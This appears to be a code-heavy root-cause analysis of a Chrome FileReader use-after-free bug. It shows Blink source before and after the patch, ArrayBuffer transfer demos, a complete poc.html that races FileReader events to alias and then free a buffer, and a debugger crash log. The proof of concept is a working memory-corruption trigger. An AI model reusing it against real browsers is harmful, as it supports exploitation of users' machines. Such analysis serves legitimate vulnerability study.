1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

<script>
var size = 100 * 1024 * 1024;
var string = 'A'.repeat(size);
var blob = new Blob([string]);
var reader = new FileReader();

reader.onprogress = function(event) {
    console.log('current read bytes: ' + event.target.result.byteLength);
}

reader.onloadend = function(event) {
    console.log('read as ArrayBuffer: ' + event.target.result);
}

reader.readAsArrayBuffer(blob);
</script>

1
2
3
4

current read bytes: 69730304
current read bytes: 104660992
current read bytes: 104857600
read as ArrayBuffer: [object ArrayBuffer]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

DOMArrayBuffer* FileReaderLoader::ArrayBufferResult() {
  DCHECK_EQ(read_type_, kReadAsArrayBuffer);
  if (array_buffer_result_)
    return array_buffer_result_;
  // If the loading is not started or an error occurs, return an empty result.
  if (!raw_data_ || error_code_ != FileErrorCode::kOK)
    return nullptr;
  DOMArrayBuffer* result = DOMArrayBuffer::Create(raw_data_->ToArrayBuffer());
  if (finished_loading_) {
    array_buffer_result_ = result;
    AdjustReportedMemoryUsageToV8(
        -1 * static_cast<int64_t>(raw_data_->ByteLength()));
    raw_data_.reset();
  }
  return result;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

DOMArrayBuffer* FileReaderLoader::ArrayBufferResult() {
  DCHECK_EQ(read_type_, kReadAsArrayBuffer);
  if (array_buffer_result_)
    return array_buffer_result_;
  // If the loading is not started or an error occurs, return an empty result.
  if (!raw_data_ || error_code_ != FileErrorCode::kOK)
    return nullptr;
  if (!finished_loading_) {
    return DOMArrayBuffer::Create(
        ArrayBuffer::Create(raw_data_->Data(), raw_data_->ByteLength()));
  }
  array_buffer_result_ = DOMArrayBuffer::Create(raw_data_->ToArrayBuffer());
  AdjustReportedMemoryUsageToV8(-1 *
                                static_cast<int64_t>(raw_data_->ByteLength()));
  raw_data_.reset();
  return array_buffer_result_;
}

1

DOMArrayBuffer* result = DOMArrayBuffer::Create(raw_data_->ToArrayBuffer());

1
2

DOMArrayBuffer::Create(
        ArrayBuffer::Create(raw_data_->Data(), raw_data_->ByteLength()));

1
2
3
4

// before patch
raw_data_->ToArrayBuffer()
// after patch
ArrayBuffer::Create(raw_data_->Data(), raw_data_->ByteLength())

1

std::unique_ptr<ArrayBufferBuilder> raw_data_;

1
2
3
4
5
6
7

scoped_refptr<ArrayBuffer> ArrayBufferBuilder::ToArrayBuffer() {
  // Fully used. Return m_buffer as-is.
  if (buffer_->ByteLength() == bytes_used_)
    return buffer_;

  return buffer_->Slice(0, bytes_used_);
}

1
2
3
4
5
6
7
8
9
10
11

namespace WTF {
class WTF_EXPORT ArrayBufferBuilder final {
 // ------------------ cut ------------------
 private:
 // ------------------ cut ------------------
  unsigned bytes_used_;
  bool variable_capacity_;
  scoped_refptr<ArrayBuffer> buffer_;
 // ------------------ cut ------------------
};
}

1
2
3
4
5
6
7
8
9

scoped_refptr<ArrayBuffer> ArrayBuffer::Slice(int begin, int end) const {
  return SliceImpl(ClampIndex(begin), ClampIndex(end));
}

scoped_refptr<ArrayBuffer> ArrayBuffer::SliceImpl(unsigned begin,
                                                  unsigned end) const {
  size_t size = static_cast<size_t>(begin <= end ? end - begin : 0);
  return ArrayBuffer::Create(static_cast<const char*>(Data()) + begin, size);
}

1
2
3
4
5
6
7
8
9
10

scoped_refptr<ArrayBuffer> ArrayBuffer::Create(const void* source,
                                               size_t byte_length) {
  ArrayBufferContents contents(byte_length, 1, ArrayBufferContents::kNotShared,
                               ArrayBufferContents::kDontInitialize);
  if (UNLIKELY(!contents.Data()))
    OOM_CRASH();
  scoped_refptr<ArrayBuffer> buffer = base::AdoptRef(new ArrayBuffer(contents));
  memcpy(buffer->Data(), source, byte_length);
  return buffer;
}

1
2
3
4
5
6
7
8
9
10
11
12
13

namespace blink {
class CORE_EXPORT DOMArrayBuffer final : public DOMArrayBufferBase {
 // ------------------ cut ------------------
 public:
  static DOMArrayBuffer* Create(scoped_refptr<WTF::ArrayBuffer> buffer) {
    return MakeGarbageCollected<DOMArrayBuffer>(std::move(buffer));
  }
 // ------------------ cut ------------------
  explicit DOMArrayBuffer(scoped_refptr<WTF::ArrayBuffer> buffer)
      : DOMArrayBufferBase(std::move(buffer)) {}
 // ------------------ cut ------------------
};
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

/**
 * Detaches this ArrayBuffer and all its views (typed arrays).
 * Detaching sets the byte length of the buffer and all typed arrays to zero,
 * preventing JavaScript from ever accessing underlying backing store.
 * ArrayBuffer should have been externalized and must be detachable.
 */
void Detach();

// TODO(913887): fix the use of 'neuter' in the API.
V8_DEPRECATE_SOON("Use Detach() instead.", inline void Neuter()) { Detach(); }

/**
 * Make this ArrayBuffer external. The pointer to underlying memory block
 * and byte length are returned as |Contents| structure. After ArrayBuffer
 * had been externalized, it does no longer own the memory block. The caller
 * should take steps to free memory when it is no longer needed.
 *
 * The Data pointer of ArrayBuffer::Contents must be freed using the provided
 * deleter, which will call ArrayBuffer::Allocator::Free if the buffer
 * was allocated with ArraryBuffer::Allocator::Allocate.
 */
Contents Externalize();

1
2
3
4
5
6
7
8

<!-- main.html 的代码 -->
<script>
var ab = new ArrayBuffer(0x1000);
var worker = new Worker('worker.js');
console.log('Main thread: before postMessage, ab.byteLength is ' + ab.byteLength);
worker.postMessage(ab, [ab]);
console.log('Main thread: after postMessage, ab.byteLength is ' + ab.byteLength);
</script>

1
2
3
4
5
6

// worker.js 的代码
onmessage = function(message) {
    var ab = message.data;
    console.log('Worker thread: received: ' + ab);
    console.log('Wroker thread: ArrayBuffer.byteLength is : ' + ab.byteLength);
}

1
2
3
4

Main thread: before postMessage, ab.byteLength is 4096
Main thread: after postMessage, ab.byteLength is 0
Worker thread: received: [object ArrayBuffer]
Wroker thread: ArrayBuffer.byteLength is : 4096

1
2
3
4
5
6
7
8
9
10
11
12
13
14

<script>
var ab = new ArrayBuffer(0x1000);
var context = new AudioContext();
console.log('Before decodeAudioData, ab.byteLength is ' + ab.byteLength);
context.decodeAudioData(ab, 
    function(buffer) {
        console.log('decode succeed: ' + buffer);
    }, 
    function(e) {
        console.log('decode failed: ' + e);
    }
);
console.log('After decodeAudioData, ab.byteLength is ' + ab.byteLength);
</script>

1
2
3

Before decodeAudioData, ab.byteLength is 4096
After decodeAudioData, ab.byteLength is 0
decode failed: EncodingError: Unable to decode audio data

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

<!-- poc.html -->
<script>
var ab1, ab2;
var byteLength = 100 * 1024 * 1024;

function onProgress(event) {
    if (ab1.byteLength != byteLength) {
        ab1 = event.target.result;
    }
}

function onLoadEnd(event) {
    ab2 = event.target.result;
    if (ab1 != ab2 && ab1.byteLength == ab2.byteLength) {
        var flag = 0x61616161;
        new DataView(ab1).setUint32(0, flag, true);
        if (new DataView(ab2).getUint32(0, true) == flag) {
            console.log('verify succeed! try crash self...');
            crash();
            return;
        } else {
            console.log('verify failed, retry now...');
        }
    } else {
        console.log('failed this time, retry now...');
    }
    window.setTimeout(init, 1000);
}
    
function init() {
    ab1 = ab2 = new ArrayBuffer(0);
    var string = 'A'.repeat(byteLength);
    var blob = new Blob([string]);
    var reader = new FileReader();
    reader.onprogress = onProgress;
    reader.onloadend = onLoadEnd;
    reader.readAsArrayBuffer(blob);
}

function crash() {
    var worker = new Worker('worker.js');
    try {
        worker.postMessage(ab1, [ab1, ab2]);
    } catch(e) {
        var errmsg = 'ArrayBuffer at index 1 could not be transferred';
        if (e.message.indexOf(errmsg) != -1) {
            var dv = new DataView(ab2);
            dv.setUint32(4, 0x42424242, true);
        } else {
            window.setTimeout(init, 1000);
        }
    }
}

init();
</script>

1
2
3

// worker.js
onmessage = function(message) {
}

1
2
3

worker.postMessage(ab1, [ab1]);
var dv = new DataView(ab2);
dv.setUint32(4, 0x42424242, true);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

(74c.2a4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000004 ebx=02b30ec8 ecx=00000042 edx=00000042 esi=00000042 edi=2b404000
eip=5f625606 esp=0021ecc0 ebp=0021ece8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
chrome_child!ovly_debug_event+0x10c1fa6:
5f625606 881407          mov     byte ptr [edi+eax],dl      ds:0023:2b404004=??

0:000> r edi
edi=2b404000

0:000> r eax
eax=00000004

0:000> r dl
dl=42